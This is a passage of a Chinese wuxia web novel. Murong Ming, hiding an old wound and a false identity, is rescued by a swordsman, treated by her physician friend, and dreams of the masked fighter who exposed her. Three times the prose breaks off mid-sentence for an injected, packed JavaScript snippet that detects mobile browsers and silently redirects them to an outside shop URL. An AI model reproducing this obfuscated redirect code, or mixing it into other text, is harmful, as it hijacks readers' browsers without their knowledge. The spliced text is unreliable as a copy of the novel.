又过了半年,慕容连衡夫妇带回了一位孤女,并将其认为养女,取名慕容晴。只不过,彼时所有人的目光早已被身负崭绝印的慕容暝所吸引,至于这位养女,不过是人们茶余饭后一点不咸不淡的谈资罢了。 7. 踏雪无常1 十三年后,此时此刻,陵州城内。 夜色沉沉,天边新月被层云遮掩大半,堪堪露出末端尾钩,微弱的月光铺在城中巷道的行路上,映照出一道正徐徐前行的身影。 慕容暝身披暮山紫色斗篷,宽大的兜帽在她额前低垂下来,将大半面容掩于阴影之中。斗篷下,她的手正按在腰间的细雪剑上,步履从容,却又步步留神。 在她身后,十余名黑衣高手蛰伏于暗处,如影随形地紧跟着街道上那道暮山紫色的身影。 他们自以为隐藏得很好,却不知慕容暝早已察觉到了他们的存在,正遛狗似的遛着这群黑衣人。 天色虽晚,巷子里仍偶有行人经过,慕容暝不便当众动手,那些黑衣人同样不敢贸然出手,双方就这样默契地维持着一种微妙的和平。 换作平时,慕容暝早就出手将这些狗皮膏药般的尾随者清理掉了,可偏偏是今日…… 兜帽下,慕容暝的脸色比天上的月亮还要惨白几分,表情虽稀松平常,可她覆在剑上的手正难以抑制地微微发颤。 此刻,她的体内正有一道不属于她的内息在肆虐冲撞,将她自身内力冲得七零八落、溃不成军,只剩不足平日里的三成。 这群黑衣人瞎猫碰上死耗子,恰巧赶上了她旧伤发作的日子。 慕容暝的耐心被消磨得所剩无几,不欲将时间浪费在这些杂鱼身上,脚下步伐不觉加快,想尽快了结这场无谓的追逐。 就在这时,巷道尽头的拐角处转出一道身影,朝着慕容暝的方向迎面走来。 夜色昏暗,慕容暝看不清那人的模样,只能从漆黑模糊的轮廓大致判断出,那是个身形颀长挺拔的男子,手中还拿着一柄长刀。 “难道……是那群黑衣人的同伙?”慕容暝心中警铃大作,右手不动声色握上剑柄,蓄势待发。 不知为何,佩刀男子走得晃晃悠悠,身影如同一面被风吹动的旌旗。待他走到慕容暝身前几步远的距离时,一缕醇厚的酒香掺着微凉的夜风,飘进了慕容暝的鼻腔之中。 “原来是个路过的醉汉。”慕容暝自嘲一笑,暗自腹诽道,“我如今怎么变得如此多疑了,竟到了这般草木皆兵的地步。” 正思忖间,佩刀男子已走到慕容暝跟前,两人擦肩而过之时,慕容暝忽然听到那男子的声音在自己身侧响起:“唔,呕……” ……他竟是要吐了! 佩刀男子似是醉得迷糊,手忙脚乱间一把扯住慕容暝的斗篷,将她当成了街边的一堵墙,弯下腰就要开吐。 慕容暝蓦然瞪大了眼:“你……!” 慕容暝就算再怎么处变不惊,也被男子这猝不及防的一吐惊到,她一向爱洁,如何忍得了一个不知打哪来的醉鬼吐在她身上?! 所幸那男子只是干呕,虚晃一枪,没吐出什么实物。慕容暝眉头紧锁,冷着脸一把将那男子拽起:“看清楚了,要吐去边上吐。” 二人拉扯间,那男子却忽然错身,凑近慕容暝耳侧,低声道:“姑娘小心,你后头跟了人。” 慕容暝闻言,手上动作一滞,面露讶异。这男子竟是佯装呕吐,实则是借机靠近她,出言提醒。并且他能在相隔如此之远的距离就能察觉到那些杀手的存在,修为必然不俗。 慕容暝下意识抬头望向男子,不过她的兜帽帽檐太宽,那男子身量又高出她不少,从慕容暝的角度没法看到他的样貌。 慕容暝迟疑开口:“你……” 这男子来路未明,意图难测,慕容暝并未轻举妄动,静静等待他的下一步动作。 后头的黑衣人们自然也看到了这一幕,眼见一个莫名其妙的醉鬼突然接近慕容暝,还不由分说地抓着她撒酒疯,惹得黑衣人们面面相觑,面罩下的露出的一双双眼睛神情各异,那叫一个精彩纷呈。 为首的黑衣人打了个手势,示意小弟们暂且按兵不动,静观其变。 佩刀男子继续装作醉酒的模样,身子歪歪斜斜地倚在慕容暝身旁,却始终保持着很有分寸的距离,未曾真正触碰到她。慕容暝只听他轻声道:“姑娘,我可以助你脱困。” 慕容暝这下听明白了,男子是将她当成被歹人尾随的无辜小姑娘,想要见义勇为呢。 这些年,慕容暝遇到无数想要杀她的人,说要助她的却不多。慕容暝一时间有些不太习惯,又颇为好奇男子想如何带她脱困。于是,她既不承认也不否认,问道:“那……你想怎么办?” 慕容暝并不经常问别人“怎么办”,语气难免带着些无所适从的冷硬,男子误以为她是受了惊吓,安慰道:“姑娘莫怕,有我在,那些人伤不了你。姑娘若是信得过我,就闭上眼睛吧。” 慕容暝心中思量,她此刻旧伤发作,内力大损,虽仍有一战之力,但想要悄无声息地解决这群杀手仍非易事,若是惊动旁人,恐怕又要横生枝节。既然这男子主动提出相助,她倒不妨顺水推舟,借坡下驴。 慕容暝拿定了主意,依言闭上了眼,道:“好。” 慕容暝刚闭上眼,男子的声音再次在她身侧响起:“姑娘,抓紧了。” 话音未落,慕容暝便感到腰间一紧,紧接着,她的双脚陡然失去了地面的支撑,腾空而起——这男子竟直接施展轻功,带着她跑了! 这下让黑衣人们猝不及防,眼见那醉鬼突然将他们的目标挟持逃走,哪还顾得上隐藏,领头的黑衣人直接扯着嗓子招呼小弟们:“快,都给我追,别让他们跑了!” 夜色中,男子动作迅捷如风,腾挪穿梭于高低错落的房屋之上,慕容暝没有睁开眼,闭目聆听着四周的动静。 闭上眼后,听觉的感官变得敏锐许多,夜风拂过耳畔的轻响,身后黑衣人逐渐远去的杂乱脚步,以及身旁男子因施展轻功而略微加重的喘息,悉数传入她的耳中。 慕容暝心中暗赞:“好高明的轻功。” 慕容暝的轻功虽也不俗,但扪心自问,她没有把握能仅凭轻功就甩开那群黑衣人,而男子这三两下的功夫便将杀手们远远甩在身后,轻功可谓卓绝。 慕容暝揣测起了男子的身份,他身佩长刀,又有如此厉害的修为,不该是寂寂无名之辈。 慕容暝闭目思索间,男子忽然发问:“姑娘,你住在哪里?” 慕容暝一时没反应过来:“……什么?” 男子似乎是害怕慕容暝将他当作什么奇怪的人,连忙解释道:“我是想着,既然已经带着你跑了,那便送佛送到西,送你回家吧,免得你再遇上那些人。” 慕容暝见他轻功如此好,不用白不用,可以省去不少赶路的功夫,便不客气地道:“送我到城东千金楼吧,多谢。” 一炷香的时间后,黑衣人已被彻底甩开,男子带着慕容暝来到千金楼边上一处隐蔽的角落,二人稳稳落地。男子长舒一口气,语气轻快,道:“好了姑娘,你可以睁眼了……” 话音未落,男子便见眼前寒光一闪,下一瞬,冰冷修长的剑刃已经抵在他的脖颈之上。 慕容暝的兜帽随着她拔剑的动作向后滑落,男子低头看去,视线恰巧落在了兜帽下露出的那张略显苍白的女子面容,不由得微微一怔。 秋水为神玉为骨,大抵说的就是这般模样了。 眼前的女子约莫二十岁的年纪,眉目清雅湛然,鼻梁挺秀,嘴唇略薄而色泽如樱,分明是一副灿若春晖的容颜。可她面上透着无法忽视的冷意,似料峭春寒,覆着终年不化的霜,清冷疏离,令见者心生怯意。 尤其是此刻,她手中长剑正稳稳地抵在他颈前,再往前一寸,就会划开他的咽喉。 所幸慕容暝今日出门带了抹额,将额间的崭绝印遮了起来,否则只需这一眼,男子便能知晓她的身份。 慕容暝抬眸的瞬间,与男子的视线蓦然相接,自然也看到了他的脸。 他的眉眼俊美昳丽,几乎雌雄莫辨,而他高挺的鼻梁和线条分明的轮廓又中和了眉眼的柔美,形成了一种恰到好处的平衡,多一分太凌厉,少一分太柔和。唇形姣好,唇角起菱,天生带着三分笑意,透着血气充沛的红润色泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051822|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一张生得这样好看又很是面善的脸,令人见之便心生好感。 男子显然没料到慕容暝会拔剑相向,全无防备,一时呆愣在原地,错愕道:“你……我……” 男子的那双眼眸,此刻在慕容暝剑光的辉映下熠熠生光,如同洒落湖面的星辉,明朗疏阔,不染纤尘,竟让她有一瞬失神。 慕容暝回过神来,道:“你什么你,我什么我。” 男子道:“姑娘,方才可是我救了你,你怎么……” 话说到一半,他回想起慕容暝方才那行云流水、干脆利落的动作,分明是会武功的,顿时有些尴尬:“好吧,虽然以你的身手,大概也不需要我救……可是姑娘你也不该把剑架在好心人的脖子上吧?” 慕容暝本就是随手试探他一下,见他神情坦荡,言语间并无虚与委蛇,心中疑虑早已打消,但嘴上仍不放过他:“听过农夫与蛇的故事吗?说不定我就是那条蛇。” 男子闻言,颇为头疼地叹了口气:“唉,师父说得果然没错,江湖险恶,人心难测啊。” 慕容暝冷哼一声:“确实,江湖险恶,人心难测,我为何不能怀疑你是假意救我,意图博取我的信任,伺机对我下手?” 这番话并非慕容暝信口胡诌,这十多年来,她遭遇过数不清的刺杀,各种阴谋诡计层出不穷,类似的戏码她并非没见过。 男子听完,并未立刻回话,垂眸沉吟,竟是认真思考起了慕容暝的问题。这时,男子忽然发觉,那抵在他喉间的剑刃正微弱难察地颤抖着,而颤抖的源头,是那只握着剑的手。 男子道:“你受伤了,是被那群黑衣人伤的?” “……与你无关。”慕容暝没料到他如此敏锐,察觉出了她的异样,不再继续为难他,收剑入鞘。 男子脖颈处的冷意骤然消失,有些意外,问道:“为何收手?我还没有回答出你先前的问题。” 慕容暝道:“想收便收了,难道你喜欢被人用剑抵着?” 从她出手的那一刻起,男子身上自始至终都没有出现半分杀意。 慕容暝顿了顿,见男子确实是一副心地纯善的模样,念在他帮了自己的份上,好言相劝道:“你师父说的没错,这江湖上多的是以怨报德之人。你若不想平白无故丢了性命,以后便不要轻易救人,更不要轻易信人。” 男子沉思片刻,却摇了摇头:“虽然会有心怀不轨之人,但我相信总归还是好人多。旁人如何待我,我无法左右,但我如何待人却是我能够做主的。下次再遇到这样的事,我还是会选择救人。” 慕容暝看着男子,他的双眸澄澈干净,还未经历江湖刀光剑影的洗礼,保留有一份难得的赤子之心。 男子又道:“对了姑娘,那些黑衣人为何要追着你,是不是遇到了什么棘手的事情?” “你师父没告诉你,明哲保身,少管别人的闲事吗?”慕容暝没打算告诉他实情,随口胡编道,“其实我是个十恶不赦的魔头,很多人都想取我性命,你今日帮了我,岂不是助纣为虐?” “不会。”男子这次倒是答得很快,他蓦然笑道,“恶人不是你这样子的。” 慕容暝无语凝噎,猜测他大概是哪个宗门初涉江湖的弟子,还没经受江湖险恶的毒打,反正事教人一教便会,慕容暝也不再与他多费口舌,只道:“罢了,随便你。” 说罢,慕容暝似是想起什么,又问道:“你叫什么名字?” 男子微微一愣,显然没适应慕容暝转变话题的速度,如实答道:“萧迢。” 萧迢……慕容暝在心中默念,觉得这个名字莫名有些耳熟,却一时想不起来在哪听过。 慕容暝道:“萧迢,这次总归是你帮了我,若你我有缘再会,我会还你今日相助之情。” 说罢,慕容暝转身走向人头攒动的街道上,斗篷随夜风飞扬翻卷,最后隐没在人流之中。 萧迢站在原地,望着她离去的方向,许久未动。 “还没告诉我你的名字呢……” 8. 踏雪无常2 慕容暝与萧迢分别后,径直来到陵州城中最负盛名的千金楼,刚踏入楼中,便有眼尖的侍者笑着迎上前来,恭敬道:“慕容少主,您可算来了,东家今晚问了我们好几遍有没有见着少主您呢,少主请随小的来吧。” 慕容暝点头示意,跟随侍者直登千金楼顶层。 千金楼是这陵州城中最繁华的酒楼,城中不论乡绅贵族还是商贾富户,皆爱在此宴请宾客,以显体面尊贵。此时正值入夜,千金楼中人声鼎沸,宾客觥筹交错大快朵颐,好一派热闹盛景。 可这千金楼顶层却清雅幽静,与外头的喧闹截然相反,仿佛是另一方与世隔绝的天地。 侍者在门口停下了脚步,转身对慕容暝道:“慕容少主,东家就在里面,您直接进去就是,小的就先退下了。” 慕容暝道:“好,有劳了。” 侍者悄然离去,慕容暝对此处早已轻车熟路,无需人引路,推开厢房门信步走进了顶层的厢房之中。 顶楼厢房的布置极为讲究,屋内熏着独特又好闻的木质香气,窗旁陈列着一排花架,上头摆放的盆栽中养着各种难得一见的奇花异草。墙壁上镶嵌着大小均等的夜明珠,柔和的辉光将整个房间照得亮堂,亦不会让人感到刺目。 目光所及,处处彰显着房间主人雄厚的财力和非同一般的品味。 慕容暝经过窗边花架时,无意中瞥见一株不知名的草几近枯死,盆中的土壤因干涸而片片皲裂,也不知多久没人浇过水了。慕容暝微微蹙眉,顺手取来桌上的水壶,对着那株枯草细致浇灌起来。 这时,一道戏谑的声音自慕容暝身后响起:“慕容少主可真是菩萨心肠,对这快要枯死的花草也有爱怜之心。” 慕容暝并未回头,仍旧专注于手中浇水的活计,道:“称不上爱怜,只是觉得一株枯草与你这金银窝不太相配罢了。” 只听身后那人轻笑一声,接着道:“可惜了,这是我前几日斥巨资从西域商人手中买回的枯蛇草,须得等其自然枯死才可入药。你这水一浇,我怕是得多等上几日了。” 慕容暝闻言,手中动作一顿,壶嘴淌出的水流霎时止住。她放下水壶转过身来,道:“对不起,唤云,我不知道这草是要入药的。” 商唤云难得看见慕容暝吃瘪的模样,正笑吟吟地斜倚在墙边。今日的她依旧是惯常的男装打扮,一袭华贵的云白锦袍衬得她气质非凡,满头乌发用青玉发冠束成发髻。商唤云的眉眼本就生得英气飒爽,作如此打扮,倒真似一位面如冠玉、湛然若神的翩翩贵公子。 “小事小事,不知者无罪。”商唤云摇了摇手中的折扇,并不在意,转而问道,“阿暝,你今日怎么比往常晚到了一个多时辰,可是路上出了什么事?” “遇到一伙缠人的背后灵,绕了些路。”慕容暝轻描淡写地一句带过,没有提及萧迢。 商唤云笑意促狭,调侃道:“他们挑今天下手,倒是歪打正着了,真是羡慕他们的好运气啊。” 慕容暝语气淡淡,从容自若:“即便我今日只剩不到三成的内力,凭他们也奈何不了我。” 慕容暝的这个旧伤,除了当年那个伤她的罪魁祸首之外,唯有商唤云一人知晓。若被旁人得知,她每逢旧伤发作就会内力大减,那些觊觎恶剑魔内力的人便会再也坐不住,后果可想而知。商唤云明白她的难处,也一直为她守口如瓶。 商唤云道:“来吧,先让本大夫看看你还剩几日好活。” 慕容暝对商唤云的嘴欠早已习以为常,也不气恼,和商唤云一同进了内室。内室间,二人相对而坐,商唤云伸出手,将指尖轻搭在慕容暝腕间,为她仔细诊起了脉。 慕容暝静静看着商唤云难得一见的认真模样,回想起了二人初遇的情形。 慕容暝与商唤云的相识,源于一场混乱的追杀。彼时商唤云还未成为商氏家主,老家主年迈时日无多,商氏作为富甲天下的大族,人丁兴旺,内斗激烈,各房为了争夺家主之位,不惜同室操戈、手足相残。 商唤云自幼就离开家中去了药王谷,师从药王,医术一道天资奇高,原本是铁了心要当大夫,再也不回那一团糟烂的家。可她的同胞弟弟商逐雨,一个没什么心眼的良善少年,却死在了家族的内斗里。 于是,商唤云一声不吭从药王谷回到商氏本家,学起了她往日里最不屑一顾、商逐雨却自幼向往的商贾之道,一身药草香浸染上了铜臭味。 商唤云展现出了惊人的经商才干,深受老家主疼爱器重,虽为女儿身,却令族中一干男子望尘莫及。而商氏家主之位向来是能者居之,不论男女,商唤云自然成为了家主之位最有力的竞争者。 直到这时,商氏的豺狼虎豹们才反应过来,该死的哪里是商逐雨,分明是他的这位好姐姐! 那日,慕容暝正与一伙难缠的刺客战得不可开交,而商唤云也被自家人雇来的杀手一路追杀至此。就这样,两伙人意外撞在了一处,两边的刺客不明状况,就这样大眼瞪小眼,拔剑四顾心茫然。 商唤云见状,心念一转,登时生出一计,朝着慕容暝这边大喊道:“求各位好汉救命!我乃商氏中人,若谁能助我脱困,我愿奉上黄金千两!” 此话一出,两边杀手都愣住了。 商唤云这边的杀手,以为对面是商唤云搬来的救兵,而慕容暝这边的杀手,听到“商氏”和“黄金千两”这两个关键词,心思也活络起来——慕容暝实在太难杀了,稍有不慎还要把自己的小命搭进去,而对面那群刺客明显比慕容暝好对付得多,就算这次杀不了慕容暝,能得黄金千两,也是稳赚不赔。 两边杀手回过神来,迅速开打。 一片混乱中,慕容暝瞧见商唤云满身是伤,夹在两伙刺客间抱头鼠窜,狼狈得很。商唤云不会武功,刀剑无眼,再这样下去只有死路一条,慕容暝趁乱一把揪住商唤云的衣领,将她从人群中拖出,沉声道:“不想死的话,就抓紧我。” “不不不,我一点都不想死!”商唤云只觉得慕容暝简直是老天爷派给她的救星,顿时化身八爪鱼,牢牢扒在了慕容暝身上,“好姐姐,大恩人,你就是我的再生父母……不,再生爷奶!” 慕容暝被她的话惊得脚下一个趔趄,不禁怀疑起自己到底救了个什么奇人,她无奈道:“……倒也不必。” 就在这样一个荒唐的情形之下,二人相识了。 慕容暝一路将商唤云带回了问剑谷避难,商唤云在问剑谷一住就是数月有余,养精蓄锐,尽心筹谋。在问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051823|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑谷的鼎力襄助下,商唤云重回商氏,平息家族内乱,得以登上家主之位,二人也因此成了至交好友。 这旁,商唤云诊完脉,示意慕容暝脱去身上的衣物,有条不紊地替慕容暝施针。 慕容暝因常年习武,身上有着恰到好处的肌肉线条,刚柔并济,本该赏心悦目,可她身上布满了各式各样深浅不一的伤疤,几乎无一处好肉,原本的赏心悦目只剩下触目惊心了。 这些都是这十几年来她遭遇的无数次袭击所留下的。其中那些深可见骨、足以致命的伤痕,大多是她初入问剑谷武艺不精时留下的,好几次险些要了她的命。随着她的武功日渐精进,能伤到她的人越来越少,身上的伤痕不再如最初那般频繁增加。 如今,她的身上大多都是些陈旧瘢痕,算起来已经许久未曾添过新伤了。 商唤云并不是第一次瞧见慕容暝的这些伤痕,可每一次看到,都不由自主地心头一紧。她道:“阿暝,你身上这些伤疤我看着都嫌肉疼,我这有除疤的药膏,要不拿些给你擦擦?” 慕容暝道:“不必了,就这样吧,我并不觉得这些疤痕有什么不好的。” 对慕容暝而言,每道伤痕都记录着她来时的路,如同一本撰写于身躯之上的战功册,是她逐渐强大的证明,留着挺好。 见慕容暝本人并不介怀,商唤云也不再多说什么,她手上施针的动作不停,一边道:“你这旧伤发作得越来越频繁了,起初几个月才发作一回,而这次距离我上一次为你施针,也不过一个多月。” 慕容暝闭着眼,她听出商唤云的语气难掩忧虑,睫毛轻轻颤动了一下,声音却依旧平静:“无妨,最坏的结果不过是武功尽废而已,不会伤及性命。” “而已?你还真是说得轻巧!”商唤云忍不住翻了个冲天白眼,怒怼道,“武功尽废,对于任何一个习武之人来说都是天大的事,更何况是你?你信不信,一旦你没了这身武功,再无反抗之力,那帮人定会立刻跳出来将你生吞活剥了,连块骨头渣子都不剩给你!” 慕容暝:“……” 商唤云瞧她她默不作声,心中既无奈又心疼,她知道慕容暝从不轻易表露情绪,即使是面对生死攸关的大事,也一贯冷静自持。可她心里清楚,慕容暝的内心绝非看起来那样云淡风轻。 商唤云道:“当年伤你的那个人,可查到线索了?” 慕容暝道:“尚未。” 这个答案不出商唤云所料,她叹息一声,好言相劝道:“总之,解铃还须系铃人。我的医术只能帮你暂时缓解,想要彻底根治,还是得找到当初伤你的人。那人施展的功法能将你们二人的内力置换,属于他的那道内息一直蛰伏在你的气海之中,每隔一段时日便要作妖,搅得你内息散乱难以聚气。既然那人当初能将他的内力换到你身上,或许他也有办法收回去。” 慕容暝闻言,忽然问道:“唤云,我还剩多少时间?” 商唤云略微思索,直截了当道:“一年。一年之后,哪怕是我师父药王亲自出山,也无力回天了……阿暝,你抓紧时间吧。” “好,我明白了。” 慕容暝简短应下,没再多说什么,仿佛将要武功尽失的并非她自己,只是一个毫不相干的人。 9.踏雪无常3 商唤云照往常惯例为慕容暝施针用药后,慕容暝在内室的床榻上昏昏沉沉地睡了过去。 睡梦中,她又回到了那个如同心魔般囚困了她三年的雨夜。 山中雷雨交加,泥泞难行,慕容暝率领一支问剑谷的精锐弟子队伍执行任务,在山林间疾步奔行。慕容暝身着夜行衣,头戴斗笠,冰冷的雨顺着笠檐滑落,在她眼前织成一道水幕,黏湿沉重的泥水随着脚步飞溅而起,气氛不觉间变得阴冷凝滞。 突然,不知打哪飘来一阵浓雾,在山间弥漫开来,夜色与雨雾交织,几乎伸手不见五指。 慕容暝一瞬警觉,当即向同行的问剑谷弟子发出警示:“这雾不对……是有人设下了迷阵,所有人原地防卫,不得擅动!” 回应她的,却是一片死寂。 慕容暝心中一沉,她于浓雾中环视四周,视线所及之处,竟看不到任何一个问剑谷弟子的踪迹。她侧耳细听,除了淅淅沥沥的雨声,再无其他动静。 这迷阵恐怕是将她单独隔绝到了一处,弟子们早已在迷阵之中和她走散。 慕容暝心中飞速盘算,她并不知晓布阵之人的目的,此人能神不知鬼不觉地引她入阵,实力必然不低,而布阵人此刻正隐藏在迷雾中的某处,对他们虎视眈眈。 思及此处,慕容暝当机立断,亮出了佩戴在腕间的袖箭,发动机关,一道青色的火雷飞窜至半空,应声划破浓雾,绽放出耀眼夺目的青光。 这副袖箭是慕容晴为她亲手打造的。这袖箭除了能发射寻常箭矢之外,还配备了各种实用小机巧,这青色火雷便是其中之一,无需点火便可发射,并且遇水不灭,即便在今日这样的雨天也能传出清晰的信号。 而问剑谷弟子人人皆知,这青色火雷表示遭遇了紧急险情,所有弟子都需按兵不动,自保第一。 慕容暝选择发射火雷,一是为了提醒迷阵中的问剑谷弟子们不要妄动,二是向布阵之人主动暴露自己的位置,借此吸引他的注意力,好让弟子们处于相对安全的境地。 火雷刚刚升空,一道声音冷不丁在慕容暝身后幽幽响起:“你居然选择主动暴露自己的位置,这可不是明智之举。” “我倒觉得挺明智的。”慕容暝对此人的到来毫不意外,泰然自若地道,“你看,你这不就来寻我了?” 说罢,慕容暝回身望向来人,四周的浓雾感应到阵主的存在,稍稍退去,慕容暝这才得以看清,一个男子正静静站在她身前数丈远的地方。 来人是个身着一袭素白布衣的男子,头戴一顶竹编帷帽,将他的面容遮了个严严实实。男子身量中等,略显清瘦单薄,乍看之下,他的气质倒更像是个文弱书生,而非习武之人。 慕容暝道:“敢问阁下是?” “你不需要知道我是谁。”白衣男子答道,他的声音似远似近,听不真切,“我认识你就够了,慕容暝。” 慕容暝笑意冷冷:“来而不往非礼也。认识我的人很多,这不是什么稀奇事,想杀我的人更多,莫非你也是其中一个?” 白衣男子却摇了摇头:“别把我和那些腌臜混为一谈,我与你无冤无仇,并不想取你性命。” 慕容暝道:“那阁下在此布下这等阵法,难道只是为了见我一面,和我月下赏雨?” 白衣男子并未接慕容暝的话,只道:“一炷香。” 慕容暝被这没头没尾的一句弄得不明所以,纳闷道:“什么一炷香?把话说清楚,别故弄玄虚。” 白衣男子显然不想遂她的愿,他的声音在雾气中回荡,继续打着哑谜:“一炷香过后,你就会知道。” 话音刚落,白衣男子便一掌袭来,慕容暝反应极快,迅速横剑于身前挡下他的掌法。然而,他的攻势却并未受阻,掌风如潮,分毫不弱。 两人对招之间,慕容暝愈发惊异于白衣男子这玄之又玄的功法。他的掌法并不凌厉,也无杀意,掌风间隐隐透着一缕莹白的浩然之气,浑然天成,观之温润平和,却隐含着崩摧之能。 只对了数招,慕容暝便心中有数,白衣男子的修为要高于自己。他的掌势连绵不绝,慕容暝须得全神贯注丝毫不敢懈怠,才能堪堪挡下他的掌法,即使他并不想取慕容暝的性命,也让慕容暝应付得很是吃力。 白衣男子见慕容暝竟然能和自己过上这么多招,亦有些意外:“以前倒是我小瞧你了,你也算得上是天赋异禀,可惜……今夜之后,怕是要荡然无存了。” “成败尚未定论,话可别说得太早!”慕容暝厉声斥道,她心知自己不是这人的对手,可越是如此,她就越不想服输。 “没有意义的逞强,不过是苟延残喘罢了,我接下来的招式,看看你还能不能接下!” 男子说罢,攻势骤然转变,比方才更为强劲凛冽,令慕容暝几乎难以喘息,再难用剑一一接下,眼看着又有一掌以迅雷之势袭来,慕容暝迫不得已伸出左手,与他结结实实对了一掌。 二人对掌的刹那,慕容暝猛然发觉,白衣男子掌间那道莹白色的真气竟顺着她的掌心汇入到了她的经脉之中,与她自身的真气一同流转。然而,这道外来的真气与她的内力全然无法相融,在她的经脉气海之内肆虐席卷,将她自身的内力打得一败涂地。 慕容暝只感到骨肉如同被生生绞碎,难以承受的痛苦铺天盖地般袭来。她惨无人色,冷汗涔涔,再也支撑不住,颓然跌倒在地,只能勉强用剑支撑着半跪在地。 慕容暝紧咬牙关,声音带着难以掩饰的痛楚:“怎会,怎会如此……这究竟是什么功法?!” 匪夷所思的是,白衣男子在和慕容暝对完一掌后,竟也露出一副不敢置信的神情。他紧盯着慕容暝,口中低声自语:“这怎么可能?你竟然不是……” 说罢,他似乎是不信邪,疾步上前,伸手擒住慕容暝的手腕,又将自己的一缕真气强行输入了慕容暝的体内。 慕容暝始料未及,她全然猜不透这男子的意图,怒而挥剑挑开他的手:“你究竟想做什么?!” 白衣男子的真气看似温和无害,汇入慕容暝体内后却变得极其刚猛霸道,似是要吞噬慕容暝本身的内力。但不知为何,他的真气最终未能得逞,反而化作一道不相容的外来物,在她经脉之中横行无忌。 与此同时,慕容暝感到自己同样有一股内力不受控制地顺着掌心流窜到了男子那旁。 他的功法,竟然能置换二人的内力! 白衣男子心中的猜想得到证实,他再不复先前那不可一世的模样,蹲下身来,双手抓着慕容暝肩膀,急切追问道:“你到底是谁,真正的慕容暝在哪里?” 慕容暝抬起头直视向他,将自己额间的崭绝印彻底暴露在男子的眼前,她笑意凄绝,道:“什么真的假的,你不认识这道崭绝印吗?我就是慕容暝!” 男子一声冷哼,对慕容暝的嘴硬有些不耐,道:“你骗得了别人,唯独骗不了我。那我换个问法……慕容连衡真正的女儿在哪?” “轰——!” 一道惊雷恰巧落下,直直劈向慕容暝的心防。雷光之下,她的脸色惨白如纸,唯有额间的崭绝印殷红似血,无比刺目。 慕容暝如遭雷击,险些以为自己听错了:“……你说什么?” 白衣男子道:“你没有恶剑魔殷崭的内力,你……是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065546|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒牌货。” 男子的话语无情地击溃了慕容暝最后的一丝侥幸。她隐藏了多年的秘密,从未有人看出破绽,为什么他能一瞬间就识破?如果他将此事传扬出去,她还如何能保护得了慕容晴? 慕容暝心乱如麻,只有一个念头在她的脑海中逐渐放大、清晰、明了—— 绝对不能让他就此离开! 慕容暝强撑着站起身来,身上剧痛似有千万根细针刺入骨髓,她的意志力已经到了崩溃的边缘,但她绝不能在此时倒下。 白衣男子见慕容暝又站了起来,颇感诧异:“我虽不想取你性命,但中了我的无极聚散掌还要强撑着运功,你真的会死的。” 慕容暝道:“你和我……今日……只能有一人离开这里!” 男子嗤笑一声:“不自量力,你是嫌命太长活得不耐烦了?你如今已是自身难保,我要杀你易如反掌,你若识相,就该夹着尾巴赶紧逃走才是,而不是在这里跟我大放厥词。” 慕容暝的双眼因痛楚而充血通红,唇角不断溢出鲜血,但她仍然紧紧瞪着男子,握着剑的手正难以克制地颤抖,剑刃所向却笔直坚定,毫无动摇。 白衣男子对慕容暝这不识相的倔样感到莫名焦躁,他不再多言,伸手欲给慕容暝最后一击。可就在此时,不远处的另一座山上传来一声轰然异响,平地起惊雷,似乎连脚下的山体都随之震颤。 慕容暝和那男子皆是一惊,二人齐齐扭头看向声音来源,白衣男子如同被点了穴一般猛然定在原地,他声音中满是惊惧与惶然,失声喊道:“不好……师父!” 说罢,他头也不回地拔腿便走,将慕容暝晾在一旁,竟完全不再理会她了。慕容暝从未见过如此跳脱之人,说打便打说走便走,言行举止全都让她云里雾里。 慕容暝回过神来,果断出剑阻拦:“站住!” 男子此刻心绪翻涌,慌乱无措,心思全然放在山的另一边,分心之下对慕容暝这一剑毫无防备,剑锋就这样直直刺入他的背部,登时血流如注,洇红了他肩头的白衣。 男子吃痛地倒抽一口凉气,他实在急着离开此处,不由分说使出全力向慕容暝打出一掌:“阻我者,死!” 纵使慕容暝早就准备好要招架男子的这一掌,可她此时内息全乱,功力大损,男子又是毫无保留下了狠手。慕容暝被重重击飞,身躯如同应声崩断的弦,落在了一棵粗壮的老树上,威力之大,竟将树干拦腰撞断。 慕容暝的神志恍惚不清,眼前画面逐渐黯然,痛觉也变得迟钝模糊,她看着男子的背影逐渐远去,缩成小小的一团白色,她在最后的清醒中闪过一个念头: “看来,我还是不够强。” 随着白衣男子离去,阵法解除,迷雾退散,问剑谷的弟子们这才发现自家少主倒在一棵断树旁,身受重伤,命悬一线。 